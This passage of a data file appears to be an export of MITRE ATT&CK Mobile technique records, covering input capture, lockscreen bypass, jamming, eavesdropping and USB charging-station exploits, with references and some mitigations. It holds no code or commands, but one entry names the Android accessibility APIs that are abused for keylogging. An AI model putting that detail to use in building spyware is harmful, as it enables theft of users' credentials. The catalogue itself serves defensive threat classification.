'https://attack.mitre.org/techniques/T1417', 'external_id': 'T1417'}, {'url': 'https://zeltser.com/third-party-keyboards-security/', 'description': 'Lenny Zeltser. (2016, July 30). Security of Third-Party Keyboard Apps on Mobile Devices. Retrieved December 21, 2016.', 'source_name': 'Zeltser-Keyboard'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]",2.1,False,https://attack.mitre.org/techniques/T1417,mitre-mobile-attack,T1417,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Input Capture,"Adversaries may capture user input to obtain credentials or other information from the user through various methods. +On iOS, apps can use private API calls to obtain a list of other apps installed on the device. (Citation: Kurtz-MaliciousiOSApps) However, use of private API calls will likely prevent the application from being distributed through Apple's App Store.","['defense-evasion', 'discovery']",https://attack.mitre.org/techniques/T1418,mitre-mobile-attack,T1418,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1021 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1417', 'external_id': 'T1417'}, {'source_name': 'Zeltser-Keyboard', 'description': 'Lenny Zeltser. (2016, July 30). Security of Third-Party Keyboard Apps on Mobile Devices. Retrieved December 21, 2016.', 'url': 'https://zeltser.com/third-party-keyboards-security/'}]",2.1,attack-pattern,attack-pattern--a8c31121-852b-46bd-9ba4-674ae5afe7ad,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:27.660Z,2020-06-24T15:09:12.483Z,Input Capture,"Adversaries may capture user input to obtain credentials or other information from the user through various methods. Malware may masquerade as a legitimate third-party keyboard to record user keystrokes.(Citation: Zeltser-Keyboard) On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested. On Android, malware may abuse accessibility features to record keystrokes by registering an `AccessibilityService` class, overriding the `onAccessibilityEvent` method, and listening for the `AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED` event type. The event object passed into the function will contain the data that the user typed. -Additional methods of keylogging may be possible if root access is available.",attack-pattern--a8c31121-852b-46bd-9ba4-674ae5afe7ad,attack-pattern,"['collection', 'credential-access']",2020-06-24T15:09:12.483Z,2017-10-25T14:48:27.660Z,"On Android, users can view and manage which applications have third-party keyboard access through the device settings in System -> Languages & input -> Virtual keyboard. On iOS, users can view and manage which applications have third-party keyboard access through the device settings in General -> Keyboard. On Android, users can view and manage which applications can use accessibility services through the device settings in Accessibility. The exact device settings menu locations may vary between operating system versions.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1020,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1438', 'external_id': 'T1438'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html', 'external_id': 'APP-30'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'exfiltration'}]",1.0,,https://attack.mitre.org/techniques/T1438,mitre-mobile-attack,T1438,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Alternate Network Mediums,"Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.",attack-pattern--b3c2e5de-0941-4b57-ba61-af029eb5517a,attack-pattern,"['command-and-control', 'exfiltration']",2018-10-17T00:14:20.652Z,2017-10-25T14:48:27.307Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1041,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1423', 'external_id': 'T1423'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]",1.0,,https://attack.mitre.org/techniques/T1423,mitre-mobile-attack,T1423,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Service Scanning,"Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).",attack-pattern--2de38279-043e-47e8-aaad-1b07af6d0790,attack-pattern,['discovery'],2018-10-17T00:14:20.652Z,2017-10-25T14:48:26.890Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1026,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1439', 'external_id': 'T1439'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'APP-0'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'APP-1'}, {'source_name': 'mHealth', 'description': 'D. He et al.. (2014). Security Concerns in Android mHealth Apps. Retrieved December 24, 2016.', 'url': 'https://experts.illinois.edu/en/publications/security-concerns-in-android-mhealth-apps'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]",1.1,,https://attack.mitre.org/techniques/T1439,mitre-mobile-attack,T1439,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Eavesdrop on Insecure Network Communication,"If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication.(Citation: mHealth)",attack-pattern--393e8c12-a416-4575-ba90-19cc85656796,attack-pattern,['network-effects'],2019-02-03T14:54:29.631Z,2017-10-25T14:48:26.104Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1042,,,,,['Without Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1464', 'external_id': 'T1464'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'CEL-7'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'CEL-8'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'LPN-5'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'GPS-0'}, {'source_name': 'NIST-SP800187', 'description': 'Jeffrey Cichonski, Joshua M Franklin, Michael Bartock. (2017, December). Guide to LTE Security. Retrieved January 20, 2017.', 'url': 'http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf'}, {'description': ""Chris Matyszczyk. (2014, May 1). FCC: Man used device to jam drivers' cell phone calls. Retrieved November 8, 2018."", 'url': 'https://www.cnet.com/news/man-put-cell-phone-jammer-in-car-to-stop-driver-calls-fcc-says/', 'source_name': 'CNET-Celljammer'}, {'description': 'Matt Richtel. (2007, November 4). Devices Enforce Silence of Cellphones, Illegally. Retrieved November 8, 2018.', 'url': 'https://www.nytimes.com/2007/11/04/technology/04jammer.html', 'source_name': 'NYTimes-Celljam'}, {'description': 'Trevor Mogg. (2015, June 5). Florida teacher punished after signal-jamming his students’ cell phones. Retrieved November 8, 2018.', 'url': 'https://www.digitaltrends.com/mobile/florida-teacher-punished-after-signal-jamming-his-students-cell-phones/', 'source_name': 'Digitaltrends-Celljam'}, {'description': 'David Kravets. (2016, March 10). Man accused of jamming passengers’ cell phones on Chicago subway. Retrieved November 8, 2018.', 'url': 'https://arstechnica.com/tech-policy/2016/03/man-accused-of-jamming-passengers-cell-phones-on-chicago-subway/', 'source_name': 'Arstechnica-Celljam'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]",1.1,,https://attack.mitre.org/techniques/T1464,mitre-mobile-attack,T1464,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Jamming or Denial of Service,"An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating. (Citation: NIST-SP800187)(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)",attack-pattern--d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d,attack-pattern,['network-effects'],2019-02-03T14:15:21.946Z,2017-10-25T14:48:25.740Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1067,,,,,['Without Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1463', 'external_id': 'T1463'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html', 'external_id': 'APP-1'}, {'source_name': 'FireEye-SSL', 'description': 'Adrian Mettler, Yulong Zhang, Vishwanath Raman. (2014, August 20). SSL VULNERABILITIES: WHO LISTENS WHEN ANDROID APPLICATIONS TALK?. Retrieved December 24, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]",1.0,,https://attack.mitre.org/techniques/T1463,mitre-mobile-attack,T1463,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Manipulate Device Communication,"If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to man-in-the-middle attacks (Citation: FireEye-SSL).",attack-pattern--d731c21e-f27d-4756-b418-0e2aaabd6d63,attack-pattern,['network-effects'],2018-10-17T00:14:20.652Z,2017-10-25T14:48:25.322Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1066,,,,,['Without Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1461', 'external_id': 'T1461'}, {'source_name': 'SRLabs-Fingerprint', 'description': 'SRLabs. (n.d.). Fingerprints are not fit for secure device unlocking. Retrieved December 23, 2016.', 'url': 'https://srlabs.de/bites/spoofing-fingerprints/'}, {'source_name': 'SecureIDNews-Spoof', 'description': 'Zack Martin. (2016, March 11). Another spoof of mobile biometrics. Retrieved September 18, 2018.', 'url': 'https://thehackernews.com/2016/05/android-kernal-exploit.htmlhttps://www.secureidnews.com/news-item/another-spoof-of-mobile-biometrics/'}, {'source_name': 'TheSun-FaceID', 'description': 'Sean Keach. (2018, February 15). Brit mates BREAK Apple’s face unlock and vow to never buy iPhone again. Retrieved September 18, 2018.', 'url': 'https://www.thesun.co.uk/tech/5584082/iphone-x-face-unlock-tricked-broken/'}, {'source_name': 'Apple-TouchID', 'description': 'Apple. (2015, November 3). About Touch ID security on iPhone and iPad. Retrieved December 23, 2016.', 'url': 'https://support.apple.com/en-us/HT204587'}, {'source_name': 'Wired-AndroidBypass', 'description': 'Andy Greenberg. (2015, September 15). Hack Brief: Emergency Number Hack Bypasses Android Lock Screens. Retrieved December 23, 2016.', 'url': 'https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/'}, {'source_name': 'Kaspersky-iOSBypass', 'description': 'Chris Brook. (2016, November 17). iOS 10 Passcode Bypass Can Access Photos, Contacts. Retrieved December 23, 2016.', 'url': 'https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]",1.1,,https://attack.mitre.org/techniques/T1461,mitre-mobile-attack,T1461,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Lockscreen Bypass,"An adversary with physical access to a mobile device may seek to bypass the device's lockscreen. +Additional methods of keylogging may be possible if root access is available.","['collection', 'credential-access']",https://attack.mitre.org/techniques/T1417,mitre-mobile-attack,T1417,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On Android, users can view and manage which applications have third-party keyboard access through the device settings in System -> Languages & input -> Virtual keyboard. On iOS, users can view and manage which applications have third-party keyboard access through the device settings in General -> Keyboard. On Android, users can view and manage which applications can use accessibility services through the device settings in Accessibility. The exact device settings menu locations may vary between operating system versions.",False,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1020 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1438', 'external_id': 'T1438'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html', 'external_id': 'APP-30'}]",1.0,attack-pattern,attack-pattern--b3c2e5de-0941-4b57-ba61-af029eb5517a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:27.307Z,2018-10-17T00:14:20.652Z,Alternate Network Mediums,"Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.","['command-and-control', 'exfiltration']",https://attack.mitre.org/techniques/T1438,mitre-mobile-attack,T1438,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1041 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1423', 'external_id': 'T1423'}]",1.0,attack-pattern,attack-pattern--2de38279-043e-47e8-aaad-1b07af6d0790,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:26.890Z,2018-10-17T00:14:20.652Z,Network Service Scanning,"Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).",['discovery'],https://attack.mitre.org/techniques/T1423,mitre-mobile-attack,T1423,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1026 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1439', 'external_id': 'T1439'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html', 'external_id': 'APP-0'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html', 'external_id': 'APP-1'}, {'source_name': 'mHealth', 'description': 'D. He et al.. (2014). Security Concerns in Android mHealth Apps. Retrieved December 24, 2016.', 'url': 'https://experts.illinois.edu/en/publications/security-concerns-in-android-mhealth-apps'}]",1.1,attack-pattern,attack-pattern--393e8c12-a416-4575-ba90-19cc85656796,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:26.104Z,2019-02-03T14:54:29.631Z,Eavesdrop on Insecure Network Communication,"If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication.(Citation: mHealth)",['network-effects'],https://attack.mitre.org/techniques/T1439,mitre-mobile-attack,T1439,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Without Adversary Device Access'],MOB-T1042 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1464', 'external_id': 'T1464'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html', 'external_id': 'CEL-7'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html', 'external_id': 'CEL-8'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html', 'external_id': 'LPN-5'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html', 'external_id': 'GPS-0'}, {'source_name': 'NIST-SP800187', 'description': 'Jeffrey Cichonski, Joshua M Franklin, Michael Bartock. (2017, December). Guide to LTE Security. Retrieved January 20, 2017.', 'url': 'http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf'}, {'source_name': 'CNET-Celljammer', 'description': ""Chris Matyszczyk. (2014, May 1). FCC: Man used device to jam drivers' cell phone calls. Retrieved November 8, 2018."", 'url': 'https://www.cnet.com/news/man-put-cell-phone-jammer-in-car-to-stop-driver-calls-fcc-says/'}, {'source_name': 'NYTimes-Celljam', 'description': 'Matt Richtel. (2007, November 4). Devices Enforce Silence of Cellphones, Illegally. Retrieved November 8, 2018.', 'url': 'https://www.nytimes.com/2007/11/04/technology/04jammer.html'}, {'source_name': 'Digitaltrends-Celljam', 'description': 'Trevor Mogg. (2015, June 5). Florida teacher punished after signal-jamming his students’ cell phones. Retrieved November 8, 2018.', 'url': 'https://www.digitaltrends.com/mobile/florida-teacher-punished-after-signal-jamming-his-students-cell-phones/'}, {'source_name': 'Arstechnica-Celljam', 'description': 'David Kravets. (2016, March 10). Man accused of jamming passengers’ cell phones on Chicago subway. Retrieved November 8, 2018.', 'url': 'https://arstechnica.com/tech-policy/2016/03/man-accused-of-jamming-passengers-cell-phones-on-chicago-subway/'}]",1.1,attack-pattern,attack-pattern--d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:25.740Z,2019-02-03T14:15:21.946Z,Jamming or Denial of Service,"An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating. (Citation: NIST-SP800187)(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)",['network-effects'],https://attack.mitre.org/techniques/T1464,mitre-mobile-attack,T1464,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Without Adversary Device Access'],MOB-T1067 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1463', 'external_id': 'T1463'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html', 'external_id': 'APP-1'}, {'source_name': 'FireEye-SSL', 'description': 'Adrian Mettler, Yulong Zhang, Vishwanath Raman. (2014, August 20). SSL VULNERABILITIES: WHO LISTENS WHEN ANDROID APPLICATIONS TALK?. Retrieved December 24, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html'}]",1.1,attack-pattern,attack-pattern--d731c21e-f27d-4756-b418-0e2aaabd6d63,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:25.322Z,2021-07-28T18:45:08.382Z,Manipulate Device Communication,"If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to adversary-in-the-middle attacks (Citation: FireEye-SSL).",['network-effects'],https://attack.mitre.org/techniques/T1463,mitre-mobile-attack,T1463,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,False,,"['Android', 'iOS']",,,,,,,,['Without Adversary Device Access'],MOB-T1066 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1461', 'external_id': 'T1461'}, {'source_name': 'SRLabs-Fingerprint', 'description': 'SRLabs. (n.d.). Fingerprints are not fit for secure device unlocking. Retrieved December 23, 2016.', 'url': 'https://srlabs.de/bites/spoofing-fingerprints/'}, {'source_name': 'SecureIDNews-Spoof', 'description': 'Zack Martin. (2016, March 11). Another spoof of mobile biometrics. Retrieved September 18, 2018.', 'url': 'https://thehackernews.com/2016/05/android-kernal-exploit.htmlhttps://www.secureidnews.com/news-item/another-spoof-of-mobile-biometrics/'}, {'source_name': 'TheSun-FaceID', 'description': 'Sean Keach. (2018, February 15). Brit mates BREAK Apple’s face unlock and vow to never buy iPhone again. Retrieved September 18, 2018.', 'url': 'https://www.thesun.co.uk/tech/5584082/iphone-x-face-unlock-tricked-broken/'}, {'source_name': 'Apple-TouchID', 'description': 'Apple. (2015, November 3). About Touch ID security on iPhone and iPad. Retrieved December 23, 2016.', 'url': 'https://support.apple.com/en-us/HT204587'}, {'source_name': 'Wired-AndroidBypass', 'description': 'Andy Greenberg. (2015, September 15). Hack Brief: Emergency Number Hack Bypasses Android Lock Screens. Retrieved December 23, 2016.', 'url': 'https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/'}, {'source_name': 'Kaspersky-iOSBypass', 'description': 'Chris Brook. (2016, November 17). iOS 10 Passcode Bypass Can Access Photos, Contacts. Retrieved December 23, 2016.', 'url': 'https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/'}]",1.1,attack-pattern,attack-pattern--dfe29258-ce59-421c-9dee-e85cb9fa90cd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:24.488Z,2019-02-03T17:08:07.111Z,Lockscreen Bypass,"An adversary with physical access to a mobile device may seek to bypass the device's lockscreen. ### Biometric Spoofing If biometric authentication is used, an adversary could attempt to spoof a mobile device's biometric authentication mechanism(Citation: SRLabs-Fingerprint)(Citation: SecureIDNews-Spoof)(Citation: TheSun-FaceID). @@ -4261,8 +3888,8 @@ iOS partly mitigates this attack by requiring the device passcode rather than a An adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing (""shoulder surfing"") the device owner's use of the lockscreen passcode. ### Exploit Other Device Lockscreen Vulnerabilities -Techniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lockscreen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.",attack-pattern--dfe29258-ce59-421c-9dee-e85cb9fa90cd,attack-pattern,['initial-access'],2019-02-03T17:08:07.111Z,2017-10-25T14:48:24.488Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1064,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1458', 'external_id': 'T1458'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'PHY-1'}, {'source_name': 'Krebs-JuiceJacking', 'description': 'Brian Krebs. (2011, August 17). Beware of Juice-Jacking. Retrieved December 23, 2016.', 'url': 'http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/'}, {'source_name': 'Lau-Mactans', 'description': 'Lau et al.. (2013). Mactans: Injecting Malware Into iOS Devices Via Malicious Chargers. Retrieved December 23, 2016.', 'url': 'https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf'}, {'source_name': 'IBM-NexusUSB', 'description': 'Roee Hay. (2017, January 5). Android Vulnerabilities: Attacking Nexus 6 and 6P Custom Boot Modes. Retrieved January 11, 2017.', 'url': 'https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/'}, {'source_name': 'GoogleProjectZero-OATmeal', 'description': 'Jann Horn. (2018, September 10). OATmeal on the Universal Cereal Bus: Exploiting Android phones over USB. Retrieved September 18, 2018.', 'url': 'https://googleprojectzero.blogspot.com/2018/09/oatmeal-on-universal-cereal-bus.html'}, {'source_name': 'Computerworld-iPhoneCracking', 'description': 'Lucas Mearian. (2018, May 9). Two vendors now sell iPhone cracking technology – and police are buying. Retrieved September 21, 2018.', 'url': 'https://www.computerworld.com/article/3268729/apple-ios/two-vendors-now-sell-iphone-cracking-technology-and-police-are-buying.html'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]",1.1,,https://attack.mitre.org/techniques/T1458,mitre-mobile-attack,T1458,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploit via Charging Station or PC,"If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection(Citation: Krebs-JuiceJacking). +Techniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lockscreen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.",['initial-access'],https://attack.mitre.org/techniques/T1461,mitre-mobile-attack,T1461,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1064 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1458', 'external_id': 'T1458'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html', 'external_id': 'PHY-1'}, {'source_name': 'Krebs-JuiceJacking', 'description': 'Brian Krebs. (2011, August 17). Beware of Juice-Jacking. Retrieved December 23, 2016.', 'url': 'http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/'}, {'source_name': 'Lau-Mactans', 'description': 'Lau et al.. (2013). Mactans: Injecting Malware Into iOS Devices Via Malicious Chargers. Retrieved December 23, 2016.', 'url': 'https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf'}, {'source_name': 'IBM-NexusUSB', 'description': 'Roee Hay. (2017, January 5). Android Vulnerabilities: Attacking Nexus 6 and 6P Custom Boot Modes. Retrieved January 11, 2017.', 'url': 'https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/'}, {'source_name': 'GoogleProjectZero-OATmeal', 'description': 'Jann Horn. (2018, September 10). OATmeal on the Universal Cereal Bus: Exploiting Android phones over USB. Retrieved September 18, 2018.', 'url': 'https://googleprojectzero.blogspot.com/2018/09/oatmeal-on-universal-cereal-bus.html'}, {'source_name': 'Computerworld-iPhoneCracking', 'description': 'Lucas Mearian. (2018, May 9). Two vendors now sell iPhone cracking technology – and police are buying. Retrieved September 21, 2018.', 'url': 'https://www.computerworld.com/article/3268729/apple-ios/two-vendors-now-sell-iphone-cracking-technology-and-police-are-buying.html'}]",1.1,attack-pattern,attack-pattern--667e5707-3843-4da8-bd34-88b922526f0d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:23.233Z,2019-02-03T15:10:41.460Z,Exploit via Charging Station or PC,"If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection(Citation: Krebs-JuiceJacking). Previous demonstrations have included: @@ -4270,41 +3897,41 @@ Previous demonstrations have included: * Exploiting a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location(Citation: IBM-NexusUSB). * Exploiting Android devices such as the Google Pixel 2 over USB(Citation: GoogleProjectZero-OATmeal). -Products from Cellebrite and Grayshift purportedly can use physical access to the data port to unlock the passcode on some iOS devices(Citation: Computerworld-iPhoneCracking).",attack-pattern--667e5707-3843-4da8-bd34-88b922526f0d,attack-pattern,['initial-access'],2019-02-03T15:10:41.460Z,2017-10-25T14:48:23.233Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1061,,,,,['Post-Adversary Device Access'] 